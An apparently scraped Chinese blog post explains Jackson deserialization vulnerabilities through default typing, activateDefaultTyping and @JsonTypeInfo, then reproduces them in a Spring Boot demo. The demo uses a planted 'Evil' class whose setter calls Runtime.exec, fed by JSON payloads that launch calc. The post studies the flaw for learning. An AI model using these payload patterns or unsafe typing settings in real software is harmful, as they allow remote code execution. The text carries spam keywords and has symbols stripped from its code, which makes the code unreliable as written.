高中做信息技术题网站,天津飞机模型制作公司,搜索引擎排名2020,劳务外包jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog#xff0c;最近慢慢开… jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog最近慢慢开始清一下库存 反序列化漏洞触发根因
使用了危险的类传入类的参数外部可控未使用危险的类类型和传入类型的参数外部可控
第一种情况取决于开发在类中使用了危险的方法常见于原生反序列化漏洞第二种情况常见于允许解析外部传入的危险类所导致的常见于各类组件
jackson介绍
Jackson 是一款流行的 json 解析器Spring MVC 的默认 json 解析器便是 Jackson。
Jackson 的核心模块由三部分组成。
jackson-core核心包提供基于流模式解析的相关 API它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。jackson-annotations注解包提供标准注解功能jackson-databind 数据绑定包 提供基于对象绑定 解析的相关 API ObjectMapper 和树模型 解析的相关 API JsonNode基于对象绑定 解析的 API 和树模型解析的 API 依赖基于流模式解析的 API。
jackson反序列化漏洞关键点
jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的目前有以下三种场景
DefaultTypingactivateDefaultTypingJsonTypeInfo
enableDefaultTyping
示例
ObjectMapper objectMapper new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);DefaultTyping可以指定以下四种类型 ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT: 这个选项会将所有的对象都视为java.lang.Object类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法而不考虑实际的类型信息。 ObjectMapper.DefaultTyping.NON_CONCRETE: 这个选项会处理那些不是最终final类的所有类即它可以处理抽象类和接口。 ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE (默认选项): 这个选项结合了上面两个选项的行为即处理java.lang.Object类型和非最终类。 ObjectMapper.DefaultTyping.NON_FINAL: 这个选项会处理所有的非final字段即使它们所属的类是final的。
activateDefaultTyping
自jackson 2.1.0后DefaultTyping就被弃用会推荐使用activateDefaultTyping
示例
ObjectMapper objectMapper new ObjectMapper();
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL,JsonTypeInfo.As.WRAPPER_ARRAY);activateDefaultTyping可以指定三个参数
PolymorphicTypeValidator ptv:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口当使用Java类名作为类型标识符时通过“默认类型”和显式JsonTypeInfo进行验证。ObjectMapper.DefaultTyping applicability即DefaultTyping处提到的四种类型com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs
JsonTypeInfo
JsonTypeInfo(use JsonTypeInfo.Id.NONE)不允许指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.CLASS)通过class的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)通过c的方式指定任何类型JsonTypeInfo(use JsonTypeInfo.Id.NAME)JsonTypeInfo(use JsonTypeInfo.Id.CUSTOM)
漏洞触发场景
对象类型为Object就是后续要进行漏洞复现的场景了以下三种类型均可触发 使用了activateDefaultTyping使用了enableDefaultTyping使用了JsonTypeInfo且 对象类型不为Object开发在对象的set方法中进行了危险操作但开发一般不会这么写
漏洞复现
环境
spring boot 3.3 jdk17 jackson 2.17.1
引入依赖
spring boot自带jackson无需引入依赖想要判断Jackson版本可以在外部依赖处搜索即可。
注意指定自带jackson的版本时需要注意一个问题那就是jackson和spring boot存在依赖冲突而将spring boot降级又将带来jdk版本不匹配的问题
poc
jackson反序列化漏洞的已验证触发场景 1、JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)对象类型为Object 2、JsonTypeInfo(use JsonTypeInfo.Id.CLASS)对象类型为Object 3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) 对象类型为Object
payload示例{ “name”: “liming”, “age”: 12, “object”: [“com.example.demo.vulnerability.Deserialization.Evil”,{“cmd”:“calc”}]}
activateDefaultTyping
Person成员
private String name;
private Integer age;
public Object object;com.example.demo.vulnerability.Deserialization.Evil类
package com.example.demo.vulnerability.Deserialization;public class Evil {public String cmd;public void setCmd(String cmd) {this.cmd cmd;try {Runtime.getRuntime().exec(cmd);}catch (Exception e){e.printStackTrace();}}
}1当设置为
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);或objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);或
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);或
objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())payload为
{ name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}2当设置为
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);payload为
[ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]enableDefaultTyping
在jackson 2.17.1下虽然被弃用但仍然可以使用payload同activateDefaultTyping
JsonTypeInfo
Person成员
private String name;
private Integer age;
JsonTypeInfo(use JsonTypeInfo.Id.CLASS)
public Object object;当JsonTypeInfo指定use为JsonTypeInfo.Id.CLASS或JsonTypeInfo(use JsonTypeInfo.Id.MINIMAL_CLASS)时payload为
{ name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}如果还在Person上面使用注解JsonTypeInfo.Id.CLASS则需要使用以下payload
[ com.example.demo.entity.Person, { name: liming, age: 12, object: [com.example.demo.vulnerability.Deserialization.Evil,{cmd:calc}]}]参考 深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com) Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客